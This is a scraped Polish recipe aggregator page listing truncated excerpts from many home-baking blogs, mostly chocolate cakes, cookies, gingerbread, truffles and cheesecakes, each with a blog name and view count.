sprawdzony przepis na idealne ciasteczka. Dzielę się z Wami tą dobrocią, życzę udanego weekendu i wspaniałych prezentów od Mikołaja! ;) Z przepisu powstaje około 40 sztuk ciasteczek. Składniki: 200g gorzkiej czekolady 100g masła 1/2 szklanki cukru pół łyżeczki proszku do pieczenia * 1 i 2/3 szklanki mąki 3 jajka rozmiar L szczypta soli cukier puder do obtoczenia Czekoladę rozpuszczamy w rondelku razem(...)Białka oddzielamy od żółtek i ubijamy na sztywną pianę wraz ze szczyptą soli. Następnie dodajemy cukier i miksujemy, aż masa będzie ładnie błyszcząca.  Dodajmy żółtka oraz wystudzoną czekoladę z masłem, miksujemy. Na koniec przesiewamy mąkę. Masę mieszamy łyżką, aż będzie jednolita. Wstawiamy do lodówki na  minimum 12 godzin. Po tym czasie wyciągamy z lodówki i za pomocą łyżeczki

Czerwona Porzeczka
Owsiane fit ciasteczka bez cukru 133

łyżki) 50 g mąki w sumie dowolniej, ja użyłam żytniej (2 łyżki) 100 ml wody (pół szklanki) 100 g daktyli 150 ml wody (2/3 szklanki) poza tym dowolnie: czekolada, suszone owoce, orzechy w ilości 50 g ja dodałam 30 g orzechów włoskich i 50 g czekolady Przygotowanie: zacznij od zalania daktyli 150 ml ciepłej wody, im dłużej będą się moczyć(...)daktyle razem z wodą w której się moczyły Połącz wodę a masłem razem z daktylową papką Połącz wszystkie składniki razem najlepiej dłonią i odczekaj około 15 minut(jeżeli dodasz czekoladę od razu to duże prawdopodobieństwo, że się rozpuści, ale jeżeli zrobisz to pod sam koniec to będzie w kawałkach wyczuwalna w ciastkach- kwestia gustu). Ciastka formuj w kulki i rozpłaszcz

greenscarf
Placuszki czekoladowo bananowe. 140

największy głód! Placuszki czekoladowo bananowe - przepyszne! Składniki;  (na 6-7 małych placuszków) 4 łyżki maki pszennej 1 łyżka cukru kryształu 2 łyżki startej lub drobno połamanej czekolady 2 łyżki kakao 1 jajko 1/4 szkl. mleka 1 łyżeczka proszku do pieczenia 2 banany (najlepiej miękkie) 1 łyżka oleju Przygotowanie; Białko ubić na sztywną piane. Jednego banana obrać i rozgnieść(...)widelcem. Do miski włożyć rozgniecionego banan, żółtko, mąkę wymieszaną z kakao i proszkiem do pieczenia, cukier, mleko a także startą czekoladę i olej. Wszystko ze sobą wymieszać a na samym końcu delikatnie wmieszać piane z białek. Patelnie rozgrzać, banana pokroić na plasterki. Na rozgrzaną patelnię (najlepiej bez tłuszczu)  nakładać porcje ciasta , na każdym placuszku ułożyć kilka plasterków

Radość kipiąca uśmiechem.
Świąteczne ciasto z białek 211

święta jest to całkowicie normalne, pomyślałam, że tegoroczne świąteczne propozycje rozpocznę od świątecznego ciasta z białek . Jesteście zainteresowani? Ciasto przepełnione bakaliami z dodatkiem czekolady. Idealne na świąteczny stół. Zapraszam! Składniki na świąteczne ciasto z białek : 10 białek 3 łyżki kakao 150 g maki 1 1/2 łyżeczki proszku do pieczenia 2 łyżki oleju rzepakowego 50 g gorzkiej czekolady(...)Białka ubijamy na sztywno dodajemy cukier i dalej miksujemy. W oddzielnej misce łączymy mąkę, kakao, proszek do pieczenia i dodajemy do wcześniej ubitych białek - mieszamy razem z dodatkiem oleju. Czekoladę, imbir i orzechy kroimy na drobne kawałki dodajemy do wcześniej wymieszanych składników razem z żurawiną. Ciasto przekładamy do formy keksowej wyłożonej papierem do pieczenia. Pieczemy około 40 minut w piekarniku

Słodkie Przyjemności
Słodkie środy - Świąteczny piernik z powidłami śliwkowymi 143

Waszych Świątecznych stołach gości piernik??  Jeśli jeszcze poszukujecie przepisu na tego rodzaju wypiek koniecznie się na niego skuście. Piernik można po upieczeniu posmarować po wierzchu powidłami i polać czekoladą bądź przekroić w poprzek na dwa blaty i przełożyć jak mój powidłami :) Możliwości jest wiele a aromat i smak bezcenny.  Świąteczny piernik z powidłami śliwkowymi SKŁADNIKI : Ciasto 1 ¾ szklani(...)łyżki gęstej kwaśnej śmietany 18% 1 opakowanie przyprawy do piernika 1 ½ łyżeczki sody oczyszczonej 2 łyżki kakao Polewa i dekoracja 180 ml śmietany 30% 150 g gorzkiej czekolady biały maczek cukrowy Do przełożenia około 460 g powideł śliwkowych Do smarowania formy masło i mąka do oprószenia  PRZYGOTOWANIE :  Masło ucieramy z cukrem, dodajemy po jednym żółtku

Kulinarny Świat Konczi i Szpileczki
KORZENNE TRUFLE 108

razem wersja trochę świąteczna. Idealnie sprawdzi się jako prezent dla najbliższych. Tym bardziej fajny, bo przygotowany własnoręcznie i od serca. SKŁADNIKI: ok 100 g korzennych ciasteczek 100 g białej czekolady 1 łyżka startej skórki pomarańczowej 2 łyżki serka mascarpone 1 łyżka likieru czekoladowego kakao A jak to zrobić: Czekoladę rozpuścić w kąpieli wodnej. Ciasteczka i skórkę, zblendować, powinny mieć konsystencję(...)lekko mokrego pasku. Wszystkie składniki, przełożyć do roztopionej czekolady i wymieszać na gładką masę. Odstawić do lodówki, aby masa stężała, najlepiej na całą noc. Łyżeczką odmierzać porcje masy, z których uformować kuleczki. Każdą z nich obtoczyć w kakao. Przechowywać w lodówce, o ile coś zostanie

Kuchnia w opałach
Bezy, brownie i lody zimą. 222

kolejnego "podgrzewacza". Za to bardzo, ale to bardzo niezbędna jest duża porcja rozkoszy.  Idealnie jeśli połączy wszystko to, co uwielbiam. A Wy już dobrze wiecie, że to bezy, czekolada i lody! Bezy na okrągło, a czekolada ukryta w intensywnym smaku brownie - tym razem lodowym. I oczywiście, żeby rozdzielić tą słodką parę, konieczna jest nuta kontrastu - wybieram więc żurawinę - kwaskowatą(...)opakowanie lodów Carte d'Or Chocolate Brownie 1/2 szklanki cukru   1/2 szklanki soku pomarańczowego   175 g świeżych owoców żurawiny szczypta imbiru  1/4 tabliczko stopionej gorzkiej czekolady Białka ze szczyptą soli ubić na sztywno, w trakcie ubijania stopniowo dodawać cukier. Ubijać do momentu aż piana będzie sztywna i lśniąca, a cukier się rozpuści. Piekarnik rozgrzać do temperatury

KUCHARNIA
Brownie z kremem limonkowym 117

zimę i na święta, na imieniny, urodziny i bez okazji. A potem zróbcie sobie nasze brownie i miejcie się tak świetnie, jak my się mamy! Składniki: 3 tabliczki gorzkiej czekolady (ok. 300 g) 1 kostka masła 3 jajka 1 szklanka cukru 3/4 szklanki mąki 1 szczypta soli 1 szklanka śmietanki 36% 250 g serka mascarpone 4 łyżki cukru pudru(...)limonki kakao Wykonanie: Czekoladę kruszycie i razem z masłem rozpuszczacie w kąpieli wodnej, studzicie. Jajka ubijacie mikserem z cukrem na jasną i puszystą masę. Dodajecie ostudzoną czekoladę, mąkę i sól, mieszacie do połączenia się składników. Przekładacie do foremki wyłożonej papierem do pieczenia i pieczecie ok. 20 minut w 160 st. C, potem jeszcze 10 minut w 180. Limonki szorujecie

GRUBY WAŁEK
Duży tort śmietanowy z dodatkiem masy krówkowej i maltesers 357

Wyjątkowo duży i wyjątkowo pyszny! Przełożony śmietanowym kremem ( z dodatkiem mascarpone) i masą krówkową. Obsypany mleczną czekoladą . Tort ma 25 cm szerokości, 37 cm. długości i 14cm wysokości . Doskonale sprawdzi się tam, gdzie tradycyjnych wielkości tort byłby niezauważalny na bogato zastawionym stole, przygotowanym dla dużej ilości gości. Tort jest podwójnie duży- co oznacza, że będziemy musieli włożyć w niego trochę(...)jajek 2 niepełne szklanki mąki pszennej 12 łyżek mąki ziemniaczanej półtorej szklanki cukru 2 łyżeczki proszku do pieczenia 2x zapach waniliowy lub rumowy DODATKOWO: puszka masy krówkowej 3 tabliczki czekolady ( 1 tab czarnej, 2 tab.mlecznej) 3 opakowania kuleczek maltesers SKŁADNIKI NA KREM ŚMIETANOWY: 1l. śmietany kremówki dwie szklanki cukru pudru 1000 g serka mascarpone NASĄCZANIE: Biszkopt można nasączyć słabą, lekko

Domowe Torty
Tort śmietanowy serduszko 200

przełożony masą krówkową, pysznym śmietankowym kremem (z dodatkiem mascarpone) i obsypany słodką czekoladą. Idealny dla zakochanych. To moja ulubiona wersja ‘rocznicowego prezentu’ dla przyjaciół i znajomych. Chcecie mile zaskoczyć kogoś, kto kocha bliskie mu osoby i słodki smak, a może poprostu na słodki sposób chcecie komuś powiedzieć ‘ Kocham Cię!’ ? Więc oto przepis jak to zrobić : SKŁADNIKI(...)pieczenia zapach waniliowy lub rumowy SKŁADNIKI NA KREM ŚMIETANOWY: 500 ml śmietany kremówki szklanka cukru pudru 500 g serka mascarpone DODATKOWO: niecała puszka masy krówkowej DO DEKORACJI: 3 tabliczki czekolady (1 tab.białej, 1 tab czarnej, 1 tab.mlecznej) pudełko czekoladek w kształcie serduszek NASĄCZANIE: Biszkopt można nasączyć słabą, lekko posłodzoną herbatą, lub (wersja dla dorosłych ) wodą z alkoholem np.rumem. Pamietajcie

Domowe Torty
Krem cytrynowy 183

czym całość RĘCZNIE, dokładnie wymieszać. Deser będzie bardzo ładnie się prezentował, jeżeli nałożymy krem do pucharków za pomocą rękawa do zdobienia tortów. Smakuje wyśmienicie w połączeniu z gorzką czekoladą o wysokiej zawartości kakao. Możemy ją rozpuścić w kąpieli wodnej ( tzn. łamiemy czekoladę i wkładamy do szklanej miski. Miskę stawiamy nad garnkiem z gotującą wodą- tak, aby dno miski nie dotykało(...)wody. Rozpuszczoną czekoladę- odstawiamy do przestygnięcia do temp. pokojowej.) i użyć jako polewy, lub zetrzeć na tarce i obsypać nią deser. Gotowy krem przechowujemy w lodówce! Smacznego!!! Artykuł Krem cytrynowy pochodzi z serwisu Domowe Torty

Domowe Torty
Waniliowe babeczki z truskawkami 136

Babeczki waniliowe z truskawkami Pyszne, delikatne jak biszkopcikowe, waniliowe babeczki pod lukrową pierzynką, ozdobione truskawkami i opruszone czekoladą. To naprawdę pyszny dodatek do filiżanki kawy lub herbaty. Mam nadzieję, że skusicie się chociaż na jedną Smacznego! SKŁADNIKI NA BABECZKI WANILIOWE (20 sztuk ) : 225 g. miękkiego masła lub margaryny do pieczenia 225 g. drobnego cukru 220 g. mąki pszennej 4 jajka(...)łyżeczka proszku do pieczenia SKŁADNIKI NA POLEWĘ LUKROWĄ: 100g. serka naturalnego philadelphia 50g. miękkiego masła (nie solonego) 300g. cukru pudru DODATKOWO: 250g. truskawek pół tabliczki startej, mlecznej lub gorzkiej czekolady Przepis : BABECZKI WANILIOWE: Nagrzewamy piekarnik do 180° C. W zagłębienia formy na babeczki, wkładamy papilotki [ jak nie macie papilotek, wysmarujcie zagłębienia blaszki margaryną i wstawcie na troche do lodówki ]. Jeżeli

Domowe Torty
Czekoladowy sos Ganache 134

Czekladowy Ganache, to pyszny sos sporządzony na bazie śmietanki i czekolady, posiadający wiele smacznych zastosowań. Możecie wykorzystać go do ciast, tortów, lodów, deserów czy trufli lub obtoczyć w nim swoje ulubione owoce. Jego konsystencja zmienia się w zależności od temperatury. Ciepły jest lejący i świetnie sprawdzi się w roli polewy (polewy, która nawet po zastygnieciu się nie łamie- ale zachowuje(...)momencie ugryzienia jest miękki i rozpływa się w ustach! Chcielibyście się sami o tym przekonać?! W takim razie zapraszam do przepisu i życzę Smacznego! SKŁADNIKI: 120 g. ciemnej czekolady (o zawartości kakao od 60% do 80%) 50 g. masła do wypieków 3 łyżki cukru 180 ml. śmietany kremówki Wykonanie: Wszystkie składniki umieszczamy w szklanej misce ( czekolada powinna byc połamana

Domowe Torty
Bułeczki czekoladowo-cynamonowe 95

fejsbukowym cyklu pod hasłem Wypiekanie na śniadanie Monika z  bloga Matka wariatka tym razem wybrała dla nas  bułeczki czekoladowo-cynamonowe Erica Lanlarda pochodzące z książki pod tytułem "Czekolada". Ponieważ uwielbiam wszelakie drożdżowe ciasta z cynamonem, nie mogło mnie zabraknąć i z chęcią wzięłam udział w  akcji. Bułeczki są rewelacyjne, zmniejszyłam tylko ilość cukru i w cieście(...)świeżych pokruszonych drożdży 100 g topionego masła 1 łyżeczka domowej esencji waniliowej 1 jajko 500 g mąki pszennej typ 500 1 jajko do posmarowania bułeczek Nadzienie: 50 g gorzkiej czekolady 50 g topionego masła 80 g cukru muscovado 2 łyżki cynamonu Lukier: 38 g cukru pudru 1/2 łyżeczki domowej esencji waniliowej 1/2 łyżki soku z cytryny Wykonanie: Do miski wrzucamy

Kulinarne przygody Gatity
Świąteczna kostka piernikowa 156

kremem. Składniki: 2 szklanki mąki pszennej (czubate) 4 jajka 1 szklanka cukru 1 łyżeczka sody 1 łyżeczka proszku do pieczenia 1 szklanka mleka 1/2 szklanki oleju 100 g gorzkiej czekolady 2 łyżeczki kakao 2 łyżeczki przyprawy do piernika gotowa polewa  toffi wiórki kokosowe do obtoczenia Sposób przygotowania: Czekoladę gorzką rozpuścić w kąpieli wodnej. Mąkę pszenną wymieszać z kakao, sodą(...)cukier, utrzeć na puszystą masę, wlewać cienkim strumieniem mleko, cały czas miksując, dodać przesiane składniki suche, delikatnie mieszać tak aby nie zrobiły się grudki. Do masy   dodać płynną czekoladę oraz stopniowo wlewać olej, wylać do wyłożonej pergaminem blaszki    o wym 25 /30 cm.  Piec  około 45 minut. Całkiem zimne ciasto pokroić w całości na równe

Wanilia i Kardamon
Stefanka , ciasto miodowe z grysikiem . 192

jajka Masa grysikowa : 1 litr mleka  1/2 szklanki cukru  1 cukier waniliowy 2 żółtka  1 szklanka kaszy manny błyskawicznej 1 /2 kostki masła Polewa : 2 tabliczki czekolady mlecznej 4 łyżki śmietanki 12 % Wiórki kokosowe do posypania 1 słoik powideł jagodowych      Wykonanie : Do miski przesiać mąkę , dodać cukier , jajka , stratą na tarce margarynę , cukier waniliowy(...)żółtka i cukier waniliowy  . Do gotującego mleka wlać kaszę , gotować aż zgęstnieje . Odstawić do przestygnięcia .Zimną kaszę utrzeć z miękkim masłem . Każdy blat ciasta nasączyć np : herbatą . Tabliczki czekolady rozpuścić razem ze śmietanką w kąpieli wodnej . Na garnek z gorącą wodą ustawiamy miseczkę szklaną lub metalową dodajemy czekoladę ze śmietanką i mieszamy aż się rozpuści . Warstwy ciasta : 1. Ciasto

Sama słodycz i szczypta chili
Bułeczki drożdżowe z czekoladą, cynamonem i orzechami włoskimi 205

Zapraszam na drożdżowe, zwijane bułeczki - pachnące i pyszne, idealne na drugie śniadanie albo podwieczorek. Takie maślane ciastko ma w sobie czekoladę, cynamon i orzechy włoskie i nikt mu się nie oprze. Całkiem niedawno piekłam podobne bułki, ale zamiast czekolady miały w sobie jabłka i naprawdę dziś już nie wiem które są pyszniejsze więc chyba musicie upiec obie wersje i zdecydować(...)sami. Bułeczki upiekłam w ramach akcji "Wypiekanie na śniadanie" a przepis pochodzi z książki "Czekolada" autorstwa Erica Lanlarda. Z tym, że ja podaję niżej ilości składników jakich faktycznie użyłam czyli mniej więcej 1/4 całości oryginalnego przepisu. Od siebie dodałam jeszcze orzechy. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Bułeczki czekoladowo cynamonowe 163

może być coś lepszego na śniadanie jak pachnąca bułeczka z szklanką mleka, dla mnie raczej nie. A was również namawiam do ich upieczenia. Przepis z książki  Erica Lanlarda - Czekolada. Ja piekłam z połowy porcji i wyszło 8 dużych bułek. W oryginale bułeczki były polukrowane ja pominęłam bo jak dla mnie były już dosyć słodkie. Składniki: Ciasto drożdżowe(...)ciepłego mleka 150 g cukru 40 g świeżych drożdży 200 g stopionego masła 2 łyżeczki esencji waniliowej 2 jaja 1 kg mąki pszennej T500 Nadzienie: 75 g gorzkiej czekolady 100 g stopionego i wystudzonego masła 200 g cukru brązowego 3 łyżki cynamonu Do posmarowania: 1 jajko 2 łyżki mleka Przygotowanie: Z mleka, drożdży i łyżeczki cukru zrobić rozczyn drożdżowy. Mąkę

Ala piecze i gotuje
Rolada z kremem i bakaliami 146

łyżki cukru kryształu - 1 płaska łyżeczka proszku do pieczenia - 1 łyżka kakao krem - 3 jajka - 4 łyżki cukru kryształu - 2 łyżki zmielonych migdałów - 200 g masła - 1 tabliczka czekolady deserowej - 2 łyżki drobno posiekanych orzechów włoskich - 2 łyżki rodzynek Przygotowanie: Białka ubijamy na sztywno. Następnie stopniowo dodajemy cukier, żółtka, mąkę z proszkiem do pieczenia oraz kakao. Całość dokładnie mieszamy(...)zwilżamy, przekładamy na nią upieczony biszkopt i jeszcze gorący zwijamy w roladę a następnie zabieramy się za robienie kremu. Jajka ubijamy z cukrem na parze i studzimy. Czekoladę roztapiamy w kąpieli wodnej, studzimy. Miękkie masło ucieramy dodając powoli przestudzoną masę jajeczną i czekoladę. Na koniec dodajemy do masy rodzynki, migdały oraz połowę orzechów i mieszamy łyżką. Roladę

Zainspirowana w kuchni
Keks z rumowym akcentem 139

jajek, 2 szklanki mąki + 1,5 łyżki 100 ml mleka 1 łyżeczka aromatu rumowego, 300g bakalii (skórki kandyzowanej pomarańczowej i cytrynowej, kandyzowanego ananasa, papai, rodzynek, orzechów), 1 tabliczka białej czekolady, kolorowe perełki do dekoracji PRZYGOTOWANIE: 1. Bakalie przekładam na sitko. Polewam wrzątkiem i obtaczam w 1,5 łyżki mąki. 2. Margarynę ucieram z cukrem. Nadal ucierając dodaję po jednym żółtku(...)foremkę o wymiarach 10 cm x 35 cm, wyłożoną papierem do pieczenia. Piekę około godziny w temperaturze 170 stopni (do suchego patyczka). 4. Przestudzone ciasto wyjmuję z formy. Czekoladę łamię na kostki i rozpuszczam nad kąpielą wodną. Czekoladą polewam ciasto. Wierzch posypuję kolorowymi perełkami

Tradycyjna kuchnia Kasi
Wiewiórka 127

pieczenia 1 łyżeczka sody 2 szklanki mąki 1 łyżeczka cynamonu 1 łyżeczka przyprawy do piernika, 1 szklanka orzechów włoskich 4 jabłka obrane, pokrojone w kostkę Do dekoracji: Pól tabliczki czekolady białej Pól tabliczki czekolady gorzkiej Płatki migdałów Sposób wykonania: B iałka z cukrem ubić na puch, dodawać po jednym żółtku i stopniowo olej. Przesiać mąkę z sodą, proszkiem i cynamonem(...)pieczenia, wlać ciasto. Piec 50-60 minut do czasu gdy włożony w środek formy patyczek nie jest oblepiony ciastem. Dekoracja: Ciasto dekorować rozpuszczona w kąpieli wodnej ciemną i białą czekoladą, a następnie posypać płatkami migdałów

Pyry na Gaz
Ciasto piernikowe z dżemem 381

szklanki mąki pszennej (czubate) 4 jajka 1 szklanka cukru 1 płaska łyżeczka  sody oczyszczonej 1 łyżeczka proszku do pieczenia 1 szklanka mleka 1/2 szklanki oleju 100 g gorzkiej czekolady 2 łyżeczki kakao 2 łyżeczki  przyprawy korzennej 1 słoiczek ulubionego dżemu u mnie truskawkowy zielony lukier  do polania srebrne perełki   do dekoracji Sposób wykonania: Czekoladę gorzką(...)wsypać cukier, utrzeć na puszystą masę, wlewać cienkim strumieniem mleko, cały czas miksując, dodać przesiane składniki suche, delikatnie mieszać tak, aby nie zrobiły się grudki. Do masy dodać płynną czekoladę oraz stopniowo wlewać olej. Gotowe ciasto wylać do wyłożonej pergaminem blaszki o wym 25 /30 cm. Piec około 45 minut. Całkiem zimne ciasto przeciąć wzdłuż dwa razy posmarować każdy blat

Wanilia i Kardamon
Jabłka pieczone z orzechami i czekoladą 164

Pyszny, iście jesienno - zimowy pomysł na deser lub drugie śniadanie. Zapiekane jabłko z mieszanką orzechów włoskich i laskowych, płatki owsiane, gorzka czekolada no i oczywiście cynamon ;) Kuszące, prawda? Teraz do woli mogę się delektować takimi deserami, bo wreszcie odpoczywam. Dom odświeżony, tylko na wiosnę czeka nas praca na zewnątrz, znaleźliśmy już doskonały bruk na kostkę, dzięki http://www.granit-kostrza.pl/ , ceny konkurencyjne(...)dobrze, że zrobiłam trochę więcej tych jabłuszek, na jutrzejsze śniadanie będą idealne Składniki (3 porcje) 3 duże jabłka 4 łyżki mieszanki orzechów włoskich i laskowych 75 g gorzkiej czekolady 1 łyżeczka brązowego cukru cynamon Górną część jabłek odciąć na 3/4 ich wysokości. Wydrążyć gniazda nasienne i część jabłkowego miąższu. Orzechy i czekoladę posiekać, wymieszać z cynamonem i miąższem z jabłek

Domowa cukiernia Ewy
Tort czekoladowo marchewkowy 177

papierem do pieczenia i napełnij masą. Piecz ciasto przez około 40 minut. Wyjmij z piekarnika i ostudź. Ostudzone ciasto rozkrój na 3 placki. Krem czekoladowo serowy 270 g gorzkiej czekolady, u mnie 70 kakao 350 g homogenizowanego serka 85 g masła 250 g cukru pudru 3 łyżki kakao 1 łyżeczka waniliowego ekstraktu Rozpuść czekoladę w kąpieli wodnej i ostudź(...)pokojowej temperatury. Utrzyj masło z cukrem pudrem i kakao. Dodaj po łyżce serka i miksuj na jednolitą masę. Na koniec dodaj ostudzoną czekoladą cały czas miksując. Krem natychmiast zgęstnieje. Posmaruj pierwszy placek kremem, przykryj drugim. Rozsmaruj część kremu i przykryj ostatnim plackiem. Na powierzchni tortu rozsmaruj grubą warstwę kremu, boki posmaruj jedynie

codojedzenia
Sernik bardzo kokosowy z białą czekoladą pod kruszonką 213

koko-niebiańsko? SKŁADNIKI na spód: 180 g ciasteczek kokosowych 50-70 g masła na masę: wszystkie składniki o tmp. pokojowej 70 g gotowego sera na serniki 260 g białej czekolady 130 g masła 32 g cukru waniliowego 60 g cukru pudru 6 jajek puszka mleka kokosowego mała puszka (165 ml) śmietanki kokosowej sok z połowy cytryny na kruszonkę(...)masło. Ponownie zmiksować lub wymieszać dokładnie na wilgotny grysik. Wsypać ten grysik do tortownicy lub na blaszkę i grzbietem łyżki wygnieść równy spód. Odstawić do lodówki by zastygł. Białą czekoladę rozpuścić na parze lub w ciągu kilkudziesięciu sekund pod kontrolą w mikrofalówce. Odstawić do przestudzenia. Masło utrzeć z cukrem. Najlepiej zrobić to ręcznie lub mikserem na najniższych obrotach. Do masła

Sztuka gotowania w/g Samiry
"Piernik" z cukinii. 157

zaskoczyło, zarówno smakiem jak i konsystencją. Za sprawą cukinii jest wilgotne i długo zachowuje świeżość. Ciasto jest także nie za słodkie. Przepis zmodyfikowałam do własnych potrzeb, zamiast śliwek w czekoladzie dodałam suszone śliwki, bo stwierdziłam, że ponad szklanka cukru to i tak wystarczająca ilość, ale i piernik jest oblany polewą czekoladową. I zamiast olejku migdałowego dałam amaretto, które uwielbiam(...)kakao 2 łyżeczki sody  1 łyżka przyprawy do piernika 250 g startej na dużych oczkach cukinii (bez skórki) 6 - 8 sztuk posiekanych suszonych śliwek Polewa: 100 g gorzkiej czekolady 1 łyżka masła 2 łyżki śmietany kremówki           Sposób przyrządzania:             W misce utrzeć cukier, olej (8 łyżek), jajka i amaretto

Zakątek rozkoszy kulinarnych
Naleśniki bananowe z borówkami i gorzką czekoladą 77

Masz ochotę na coś słodkiego?  Zrób pyszne naleśniki bananowe z owocami i gorzką czekoladą!   Składniki: 2 jajka  średni banan owoce (w naszym przypadku borówki) gorzka czekolada do dekoracji Wykonanie: Zmiksuj 2 jajka z bananami, pamiętaj o zachowaniu tych proporcji. Na rozgrzanej patelni teflonowej smaż na małym ogniu małe około 7 cm średnicy placuszki. Udekoruj owocami i gorzką(...)czekoladą. Można dodać jogurt naturalny. Smacznego

Bike By Life
Tort czekoladowo-orzechowy "Kraina Lodu" 192

Mama gotuje" Blaty orzechowe: 8 białek 250g zmielonych orzechów włoskich 250g cukru pudru 4 okrągłe wafle o śr. 20cm Masa czekoladowa: serek mascarpone 330ml śmietanki 30% 2 tabl. gorzkiej czekolady 3 łyżki nutelli 1/3 szkl cukru pudru Wykończenie: 500ml śmietanki 30% 2 śmietanfixy 1/2 szkl cukru pudru op. landrynek niebieskich opłatek z obrazkiem z bajki Blaty orzechowe: Białka ubić(...)wymieszać. Okrągłe wafle ułożyć na blaszce wyłożonej papierem do pieczenia i wyłożyć równą warstwę bezy orzechowej. Każdy wafel piec ok 15 minut w 180 stopniach. Ostudzić. Masa czekoladowa: Czekoladę rozpuścić w kąpieli wodnej, przestudzić. W misie miksera ubić śmietanę na sztywną pianę. Dodać cukier puder, rozpuszczoną czekoladę, nutellę i mascarpone. Utrzeć tylko do czasu aż składniki się połączą. Blaty orzechowe

Smakołyki Asi
Sernik z budyniem, żurawiną i czekoladą 159

Ochotka naszła i powstał przepyszny sernik. Żurawina, ser i czekolada wyśmienicie się komponują. Składniki: ser z wiaderka 1 kg jaja 5 szt cukier 3/4 szklanki  budyń śmietankowy 2 szt (70-80 g) żurawina suszona tyle aby starczyło na spód i do środka ( miałam szklankę -starczyło ) herbatniki typu petitki 12 szt tortownica 26 cm Dodatkowo: czekolada mleczna 2 szt woda(...)pieca, zmniejszam temp do 220 stopni. Piekę z 10-15 minut po czym zmniejszam temp do 180 stopni i piekę 50 minut. Po upieczeniu i wystudzeniu polewam sernik rozpuszczona czekolada z wodą, czekam , aż zastygnie i szpatułka do dekoracji kremu robię wzorki na wierzchu. Wstawiam do lodówki sernik na 1-2 godziny i można podawać

Różowa kuchnia
Mus czekoladowo-korzenny 107

razem chcieliśmy zaproponować Wam, świąteczny deser czekoladowy o przyjemnym, korzennym smaku.    Składniki 2 jajka 1 łyżka cukru 1 łyżka przyprawy korzennej 100 g czekolady mlecznej 100 ml śmietanki 30% szczypta soli     Przygotowanie   Normal 0 21 false false false MicrosoftInternetExplorer4 Żółtka jajek oddzielamy od białek. Żółtka ucieramy z cukrem na puszystą masę. Czekoladę rozpuszczamy w kąpieli(...)wodnej, dodajemy śmietankę, przyprawę, dokładnie łączymy i lekko ostudzamy. Rozpuszczoną czekoladę dodajemy do żółtek, mieszamy. Białka ubijamy na sztywno ze szczyptą soli, delikatnie łączymy z masą czekoladową. Gotowy mus przekładamy do salaterek, wstawiamy do lodówki na 2-3 godziny. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow

R'n'G Kitchen
Babeczki dyniowe z czekoladą 209

żyć? Dość smęcenia i biadolenia, chwytajcie za formy do muffinów i dynie, bierzemy się do pieczenia fantastycznych, przepysznych i magicznych babeczek, które kradną dziecięce serca! Babeczki dyniowe z czekoladą 150 g masła 1 łyżeczka cynamonu 3/4 łyżeczki gałki muszkatołowej 2/3 szkl. purée z pieczonej dyni 2 łyżki cukru kokosowego 3/4 szklanki mąki ziemniaczanej 2 jajka  1 banan 2/3 szkl(...)mąki pszennej 1/2 łyżeczki proszku do pieczenia 100 g wiórków kokosowych lub zmielonych płatków migdałów 50 g gorzkiej czekolady (co najmniej 75% kakao), pokrojonych w kosteczkę garść rodzynek Piekarnik rozgrzać do 170 stopni. Formę do muffinów wyłożyć papilotkami, bądź przygotować silikonowe foremki. Masło z przyprawami wrzucić do rondelka i rozpuścić na średnim ogniu, a następnie zagotować. Zmniejszyć ogień i potrzymać

Przepysznik - BLW i nie tylko
Tort tiramisu 189

dobrze się ze sobą połączą. Adwokat mieszamy z kawą. Pierwszy blat biszkoptu nasączamy 1/3 adwokatu z kawą, a na nim nakładamy 1/3 kremu śmietankowego i posypujemy 30 g startej czekolady. Następnie kładziemy drugi blat ciasta, nasączamy go i nakładamy krem z czekoladą i to samo robimy z trzecim biszkoptem. Boki ciasta smarujemy również kremem i posypujemy startą czekoladą. Tort wstawiamy

Salonik smaków
Ziemia czekoladowa 367

jaką szukałam. W smaku trochę podobna do czekoladowej kruszonki. Do tego ekspresowa w wykonaniu i na prawdę bardzo łatwa.  Składniki: - 100g cukru - 2 łyżki zimnej wody - 75g gorzkiej czekolady (najlepiej taką min. 70%) Czekoladę drobno posiekać. Do garnka o grubym dnie wsypać cukier i zalać go wodą. Gotować na małym ogniu. Gdy zacznie lekko brązowić przy brzegach - potrząsnąć garnkiem(...)mieszać łyżką). Czekać aż cukier całkowicie się rozpuści. Zdjąć z ognia. Dodać posiekaną czekoladę i szybko wymieszać rózgą. Pamiętać o brzegach. Ciągle mieszając powinna powstać nam ziemia czekoladowa (plus kamyczki większe i mniejsze). Ziemię przesypać do formy wyłożonej papierem do pieczenia i równomiernie i cienko rozgarnąć. Pozostawić do wystudzenia. Gotową ziemię czekoladową trzymać w szczelnym pojemniku w lodówce, max. 7dni

CookYourself
Ciasto migdałowo-czekoladowe 196

przepis na migdałowo-czekoladowe ciasto.  Składniki na ciasto czekoladowo-migdałowe : 5 jajek 120 g cukru 3 łyżki kakao 130 g mąki łyżka oleju 1/2 szklanki migdałów 150 g czekolady gorzkiej 70% Sposób przygotowania ciasta migdałowo-czekoladowego: Jajka wbijamy do miski dodajemy cukier i miksujemy na najwyższych obrotach do momentu podwojenia objętości. Mąkę, kakao i proszek do pieczenia łączymy(...)drugiej misce. Do ubitych jajek dodajemy olej i wymieszane wcześnie suche składniki. Orzechy i 100 g czekolady siekamy na drobne kawałki - łyżkę migdałów odkładamy na później, a resztę dodajemy do masy. Ciasto przekładamy do tortownicy o wymiarach 17 cm i pieczemy około 45 minut w 180`C do suchego patyczka. Na ostudzone ciasto wylewamy 50 g rozpuszczonej w kąpieli wodnej

Słodkie Przyjemności
Sernik z masłem orzechowym i czekoladą (pieczony) 199

być fanem fistaszków, aby polubić ten czekoladowy, lekko słony i orzechowy smak sernika. (Tortownica  średnicy 18-20 cm) Spód: 100g kruchych ciasteczek/herbatników 25g masła/margaryny 30g gorzkiej czekolady 25g solonych orzeszków   Masa serowa:   500g mielonego twarogu 150g masła orzechowego 150g cukru 3 jajka 1 łyżka śmietany 18% (czubata) Wierzch: 110g śmietany 18% 30g gorzkiej czekolady (może(...)być mleczna) 10g cukru Ciasteczka zmiksować (np. malakserem; na drobno) z rozpuszczonym masłem/margaryną, połamaną czekoladą i uprzednio posiekanymi orzeszkami.   Całość przełożyć na dno formy wysłanej papierem pergaminowym.   Przygotować masę serową. Wszystkie składniki dokładnie wymieszać i umieścić na ciasteczkowym spodzie. (Miksować do połączenia się składników, aby nie napowietrzać ciasta. Wtedy sernik niepotrzebnie nam nie urośnie a następnie

Di gotuje
Piernik staropolski-dojrzewający 170

